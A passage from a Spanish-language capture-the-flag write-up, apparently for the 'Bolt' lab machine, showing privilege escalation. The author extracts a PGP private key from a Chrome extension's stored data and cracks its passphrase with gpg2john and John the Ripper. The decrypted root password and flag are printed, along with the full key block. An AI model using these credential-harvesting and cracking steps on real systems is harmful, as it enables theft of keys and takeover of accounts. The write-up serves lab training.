/home/eddie/.config/google-chrome/Default/Extensions/didegimhafipceonhjepacocaffmoppf/3.0.5_0/index.min.js:const PRIVATE_HEADER = '-----BEGIN PGP PRIVATE KEY BLOCK-----';
/home/eddie/.config/google-chrome/Default/Extensions/didegimhafipceonhjepacocaffmoppf/3.0.5_0/vendors/openpgp.js:            // BEGIN PGP PRIVATE KEY BLOCK
/home/eddie/.config/google-chrome/Default/Extensions/didegimhafipceonhjepacocaffmoppf/3.0.5_0/vendors/openpgp.js:      result.push("-----BEGIN PGP PRIVATE KEY BLOCK-----\r\n");
Binary file /home/eddie/.config/google-chrome/Default/Local Extension Settings/didegimhafipceonhjepacocaffmoppf/000003.log matches

Por lo visto el archivo binario referenciado contiene la clave privada, podemos leer esta información con ayuda del comando strings

eddie@bolt:~$ strings '/home/eddie/.config/google-chrome/Default/Local Extension Settings/didegimhafipceonhjepacocaffmoppf/000003.log' | grep -oP '\-\-\-\-\-BEGIN PGP PRIVATE [\s\S]*?END PGP PRIVATE KEY BLOCK\-\-\-\-\-' | head -1  
-----BEGIN PGP PRIVATE KEY BLOCK-----
Version: OpenPGP.js v4.10.9
Comment: https://openpgpjs.org

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
PSwYYWlAywj5
=cqxZ
-----END PGP PRIVATE KEY BLOCK-----

Vamos a guardar esta información en un documento .gpg en nuestra máquina… Por norma general, las claves PGP están protegidas por un passphrase y nosotros no conocemos este dato. Sin embargo existe una herramienta de nombre gpg2john que nos permite extraer el hash de una clave PGP para luego tratar de romperlo con John the Ripper.

p3ntest1ng:~$ gpg2john eddie.pgp
p3ntest1ng:~$ john --wordlist=/usr/share/wordlists/rockyou.txt eddie.hash.pgp
Using default input encoding: UTF-8
Loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64])
Cost 1 (s2k-count) is 16777216 for all loaded hashes
Cost 2 (hash algorithm [1:MD5 2:SHA1 3:RIPEMD160 8:SHA256 9:SHA384 10:SHA512 11:SHA224]) is 8 for all loaded hashes
Cost 3 (cipher algorithm [1:IDEA 2:3DES 3:CAST5 4:Blowfish 7:AES128 8:AES192 9:AES256 10:Twofish 11:Camellia128 12:Camellia192 13:Camellia256]) is 9 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
merrychristmas   (Eddie Johnson)
1g 0:00:40:31 DONE (2022-02-19 23:22) 0.000411g/s 17.62p/s 17.62c/s 17.62C/s merrychristmas..menudo
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Tras 40 minutos de espera por fin me muestra la contraseña desencriptada (en vuestro PC no tardará tanto, en mi caso es por falta de recursos). Con esto ya podemos desencriptar el mensaje que encontramos anteriormente, para ello vamos a utilizar una herramienta externa llamada PGP Tool.

PGP Tool

El contenido del mensaje es el siguiente:

{“password”:”Z(2rmxsNW(Z?3=p/9s”,”description”:””}

Teniendo esta contraseña, podemos loguearnos en el sistema como el usuario privilegiado root

eddie@bolt:~$ su root
Password: Z(2rmxsNW(Z?3=p/9s
root@bolt:/home/eddie# cat /root/root.txt
13a819e20608903abddc3707aa597319
root@bolt:/home/eddie# 

¡Gracias por leer hasta el final!

Una máquina interesante en la cual (en mi caso) he tocado cosas que no había visto previamente, como la vulnerabilidad SSTI. La escalada de privilegios ha sido algo tediosa por el hecho de tener que abusar de claves PGP ya que el desencriptado del hash tardó lo suyo.

Nos vemos en un próximo. ¡Feliz hacking! ☠